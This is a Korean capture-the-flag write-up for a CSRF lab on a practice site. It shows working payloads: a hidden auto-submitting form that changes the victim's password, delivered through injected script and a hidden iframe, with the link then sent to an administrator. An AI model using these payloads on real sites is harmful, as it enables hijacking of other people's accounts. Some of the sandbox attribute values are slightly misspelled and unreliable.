| 페이지 | URL |
|---|---|
| 마이페이지 | http://ctf.segfaulthub.com:7575/csrf_1/mypage.php |
| Burp Suite |
|---|
![]() |
| 수정후 redirection(Burp Suite & 실제출력화면) |
|---|
![]() |
| GET방식으로 TEST |
|---|
![]() |
<,',",> 넣어보기<,',",>삽입 |
|---|
![]() |
| 결과확인 |
|---|
![]() |
<'"> 출력 -> 모두 사용할 수 있음<script>, <img>,</script>삽입| 스크립트 삽입 |
|---|
![]() |
| 결과확인 |
|---|
![]() |
<script> 출력 -><script> 사용가능</script> 출력 -></script> 사용가능<img>출력 -> <img> 사용가능<form>태그사용URL은 CRSF 취약점이 있는 페이지 URL
스크립트
<form action="URL" method=POST>
<input type = "hidden" name="id" value="">
<input type = "hidden" name="info" value="">
<input type = "hidden" name="pw" value="good">
<input type="submit" value="submit">
</form>
| 스크립트 삽입 |
|---|
![]() |
| 출력화면에서 확인 |
|---|
![]() |
-> 버튼이 노출됨
<form action="URL" method=POST id ="myform">
<input type = "hidden" name="id" value="">
<input type = "hidden" name="info" value="">
<input type = "hidden" name="pw" value="good">
</form>
<script>
document.getElementById('myform').submit();
</script>
- <input type="submit" value="submit"> 제거
-> 자동전송으로 해결
<form>태그에 id 넣어줌<form>태그에서 지정한 아이디로 특정한 다음 submit()를 사용| 스크립트 삽입 |
|---|
![]() |
| 게시글 클릭 |
|---|
![]() |
| 클릭 후 alert |
|---|
![]() |
| 클릭 후 redirection |
|---|
![]() |
alert()
수정되었다는 알람
redirection
수정후 자동페이지 이동
<iframe>사용<iframe>에 name을 추가하여 <form>값을 받음
스크립트
<iframe name="stealthframe"></iframe>
<form action="URL" method=POST id ="myform" target="stealthframe">
<input type = "hidden" name="id" value="">
<input type = "hidden" name="info" value="">
<input type = "hidden" name="pw" value="good">
</form>
<script>
document.getElementById('myform').submit();
</script>
| 스크립트 삽입 |
|---|
![]() |
| 게시글 클릭 후 반응(alert) |
|---|
![]() |
| 게시글 클릭 후 반응(redirection) |
|---|
![]() |
-> alert 알람
-> iframe 노출
<iframe> 화면에서 지우기<iframe> 태그에 style="display:none;"으로 개별 스타일주기
-> <iframe name="stealthframe" style="display:none;"></iframe>
| 스크립트 삽입 |
|---|
![]() |
style="display:none;"이 적용된 화면 |
|---|
![]() |
<iframe>에 sandbox="allow-script"삽입
<iframe name="stealth" style="display: none;" sandbox="allow-scripts allow-same.origin">는 부모태크(body)의 출처와 자식태크 출처를 같게 간주하여 서로 DOM에 접근 가능
<iframe name="stealth" style="display: none;" sandbox="allow-scripts ">은 부모태그와 자식태그의 출처를 다르게하여 서로 DOM에 접근 못하게함
| 스크립트 삽입 |
|---|
![]() |
sandbox="allow-script"이 적용된 화면 |
|---|
![]() |
| 관리자에게 스크립트가 삽입된 URL전달 |
|---|
![]() |
| 결과 |
|---|
![]() |